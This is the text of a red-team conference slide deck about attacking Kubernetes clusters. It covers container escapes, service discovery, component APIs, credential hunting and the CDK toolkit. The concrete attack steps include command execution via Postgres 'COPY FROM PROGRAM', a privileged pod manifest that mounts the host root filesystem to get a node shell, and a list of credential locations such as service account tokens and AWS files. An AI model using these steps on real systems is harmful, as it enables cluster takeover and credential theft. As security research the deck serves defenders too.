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Attack Cloud Native Kubernetes 

What Will You See Today

• Rise of the Cloud Native Containers


• New Challenge for Red Team


• Practical Attack Techniques


• K8s Attack Surface Overview


• Where(Pod/Namespace/Cluster) am I


• Escaping Pod Container


• Attack Intranet Service


• Attack K8s API Server


• From K8s to Cloud Service Compromise


• Real-world Red Team Attack Case


• The New Version of Open-sourced Container Exploitation Tool: CDK 



Container Attacks on Cloud

Growth of container workloads and attacks on Cloud

Container Workloads (Docker/K8s/CaaS)

VM Workloads (ECS)

Workloads Increasing Percent (Container VS VM)

ContainersAttacks (Docker/K8s/CaaS)

VM Attacks (ECS)

Attack Increasing Percent (Container VS VM)
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Botnets Enter the Container Battlefield

Attack Techniques Representative Botnet

Backdoor image in dockerhub Graboid

2375 Docker API Expose Cetus,H2Miner,Ngrok,Doki,…

8080 K8s insecure API Expose 8220 Mining Group

6379 K8s API anonymous authorization T3llyz

K8s Lateral Movement & Persistence BORG

Botnets integrated with Docker & K8s attack techniques 

72%

28%

47% 53%

Botnets with container attack techniques (on cloud).

25 botnets 


calculated in 2019

17 botnets 


calculated in 2020
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Red Team Attack Route: IDC VS Cloud Native Infrastructure
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Challenge for Red Team
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Practical Attack Techniques



Cloud Native K8s Workloads Attack Surface

1) Public Network to Pod

2) Pod to other Pods/Services

3) Pod to Node(Escape)

4) Pod to Master Node Components

5) Pod to API Server

6) API Server to Other Pods/Nodes

7) K8s Cluster to Cloud Service
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K8s Default Network Access

Node A

Container

Public Network

Pod

Service

Node B

ContainerPod

Service

Attack Cloud Native Kubernetes 



Container is a process with isolation

postgres=# COPY cmd_exec FROM PROGRAM 'ps auxf';
postgres=# COPY cmd_exec FROM PROGRAM 'cat /proc/1/cgroup';
postgres=# SELECT * FROM cmd_exec;
cmd_output
--------------------------------------------------------------------------------------------------------------
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
postgres     1  0.0  0.1 288240 18004 ?        Ss   10:42   0:00 postgres
postgres    52  0.0  0.0 288240  3588 ?        Ss   10:42   0:00 postgres: checkpointer process
postgres    53  0.0  0.0 288240  3332 ?        Ss   10:42   0:00 postgres: writer process
postgres    54  0.0  0.0 288240  6240 ?        Ss   10:42   0:00 postgres: wal writer process
postgres    55  0.0  0.0 288652  2928 ?        Ss   10:42   0:00 postgres: autovacuum launcher process
postgres    56  0.0  0.0 143164  2016 ?        Ss   10:42   0:00 postgres: stats collector process
postgres   707  0.0  0.0 289264  6804 ?        Ss   15:26   0:00 postgres: postgres postgres 127.0.0.1(48187) COPY
postgres   708  0.0  0.0   4268   624 ?        S    15:26   0:00  _ sh -c ps aux
postgres   709  0.0  0.0  38296  1628 ?        R    15:26   0:00      _ ps auxf
12:hugetlb:/kubepods/burstable/pod45226403-64fe-428d-a419-1cc1863c9148/83eefb73fb5e942d5320e3973cfc488e2a0b5bf1a6b4742e399a570c6d33a0aa
11:pids:/kubepods/burstable/pod45226403-64fe-428d-a419-1cc1863c9148/83eefb73fb5e942d5320e3973cfc488e2a0b5bf1a6b4742e399a570c6d33a0aa
9:cpuset:/kubepods/burstable/pod45226403-64fe-428d-a419-1cc1863c9148/83eefb73fb5e942d5320e3973cfc488e2a0b5bf1a6b4742e399a570c6d33a0aa
....
(23 rows)

Escape Container
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Escape Container

1) Docker Components Vulnerability

Docker runc(CVE-2019-5736)

Docker cp(CVE-2019-13139)


2) Linux Kernel Vulnerability

DirtyCow(CVE-2016-5159)


3) Mounted File

/docker.sock (docker daemon)

/containerd.sock (containerd daemon)

/var/run/secrets/kubernetes.io/serviceaccount/token

/proc, /etc, /root …


4) Shared Linux Namespace & Capabilities

Privileged Containers

Exploit shim(CVE-2020-15257) with net=host 

Process Injection with CAP_SYS_PTRACE12% Pod shares pid/net/cgroup on cloud
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Where is the shell and his neighbors by default?
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Service & Default DNS Rules

kubernetes.default.svc.cluster.local
force.tencent.svc.cluster.local

ServiceName

NameSpace

Cluster Domain (—cluster-domain)
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K8s Default Service {name: kubernetes}:443

- kubernetes.default

- kubernetes.default.svc

- kubernetes

- kubernetes.default.svc.cluster.local

curl -ik https://kubernetes.default.svc:443/api/v1/namespaces/default/pods

HTTP/2 403
content-type: application/json
x-content-type-options: nosniff
content-length: 310
{
   "kind": "Status",
   "apiVersion": "v1",
   "metadata": {},
   "details": {
      "kind": "pods"
   },
   "code": 403
}

apiVersion: v1
kind: Service
metadata:
 name: kubernetes
 namespace: default
 resourceVersion: "158"
 selfLink: /api/v1/namespaces/default/services/kubernetes
 uid: 70527494-8a2f-4909-8a96-dd91997f4925
spec:
 clusterIP: 10.96.0.1
 ports:
 - name: https
   port: 443
   protocol: TCP
   targetPort: 8443
 sessionAffinity: None
 type: ClusterIP
status:
 loadBalancer: {}
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Where is the shell and its neighbors by default?
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Scan in Istio?
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Scan in Istio?

Node A

Container

Pod

Service

Node B

Container

Pod

Service

istio/proxy istio/proxy

nmap_rename -p 17 -iL all_ip_in_k8s.txt -sO -Pn (no work for service) / goistio_scan -iL nmap.output


Best port scanning for ISTIO: check host alive with ICMP, Identify service port/fingerprint in application layer.
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K8s Component API: What to attack?

Kube-apiserver *:8080/6443

Kubelet *:10250 (10255 read-only)

Dockerd *:2375

1. kubectl command (e.g. kubectl apply -f shell.yaml)
2. load ~/.kube/config
3. kubectl --(http)--> apiserver
4. apiserver --(http)--> kubelet rest api
5. kubelet --(http/docker.sock)--> docker api

K8s Dashboard *:30000

ETCD *:2379

Kubectl proxy —accept-hosts=‘^.*$’ —address=0.0.0.0 *:8001

Attack Component unauth API listens from localhost, intranet
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Attack API Gateway

Cloud-Native
API Gatway

Flexibility

Dynamic

Remote Config

Top Open-Sourced Cloud API Gateway:


-  Kong Admin API unauthentication

-  APISIXs Admin API default access

-  Tyk default secret

-  Goku-api-gateway default/weak password

...


Collecting and hijacking cluster outgoing traffic helps to expose more attack surface, sometimes can get API gateway shell.

More important to blue-team, with API gateway you can bypass network blocking and build intranet tunnel.
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Get Node Shell with API Server

Get Node Shell


1) Create privileged pod on target node.

2) nodeSelector: kubernetes.io/hostname: 9.208.3.47

3) Kubectl websocket shell —chroot—> node shell

hostPID: true


hostIPC: true


hostNetwork: true


containers:

  - name: trpc


  image: "alpine"


  securityContext:


    privileged: true


    capabilities:


      add:


        - SYS_ADMIN


  command: ["/bin/sh", "-c", "tail -f /dev/null"]


    volumeMounts:


      - name: dev


        mountPath: /host/dev


      - name: proc


        mountPath: /host/proc


      - name: sys


        mountPath: /host/sys


      - name: rootfs


        mountPath: /grpc_sandbox


  volumes:


    - name: proc


      hostPath:


        path: /proc


    - name: dev


      hostPath:


        path: /dev


    - name: sys


      hostPath:


        path: /sys


    - name: rootfs


      hostPath:


        path: /
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Attack Cloud Service: Credential Exfiltration

Where to find credentials


1) Mounted files (/proc/mounts)

2) K8s Secret

3) ENV

4) Hardcode AK in project (e.g. PHP, Java)

5) Direct connect to ETCD

6) Cloud platform features  

(~/.aws/credentials,~/.aws/config)

7) Cloud provider metadata API  

(including user pre-defined data)

8) Cloud service pods in master-node

spec:


  containers:


    - command:


        - kube-apiserver


        - --audit-log-maxbackup=10


        - --audit-log-maxsize=100


        - --audit-log-path=/var/log/kubernetes/kubernetes.audit


        - --audit-log-maxage=30


        - --audit-policy-file=/etc/kubernetes/audit-policy.yml


       ...


        - --etcd-cafile=/etc/kubernetes/pki/etcd/ca.pem


        - --etcd-certfile=/etc/kubernetes/pki/etcd/etcd-client.pem


        - --etcd-keyfile=/etc/kubernetes/pki/etcd/etcd-client-key.pem


        - --etcd-servers=https://192.168.0.83:2379,https://192.168.0.84:2379,https://192.168.0.85:2379


       ...


        - --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt


        - --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key


        - --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname


       ...
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Real-world Attack Case



#1 Zero-trust Network Using VPN? Bypass it!
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#2 Get Shell in Serverless Pre-development Container

Attack Cloud Native Kubernetes 



#3 Escaping Container with sys_admin
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#4 Attack Web Console Agent
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#5 Exploit docker.sock Proxy
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#6 Escape Log Collecting Sidecat Pods
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#7 Kubernetes API Server and More
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The Open-sourced Tool: CDK



CDK - Zero Dependency Container Penetration Toolkit

CDK is a CLI tool which allows you to:


1. Evaluate weakness in containers or K8s pods.


2. Exploit multiple container vulnerabilities.


3. Perform common container post-exploitation actions.


4. Provide capability when host-based tools are not available in the container.


5. Perform the above in a manual or automated approach.
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https://github.com/cdk-team/CDK


Evaluate Weakness Exploits Tools

CDK - Modules
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The Lightweight Release
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Thank you for your attention

Q&A


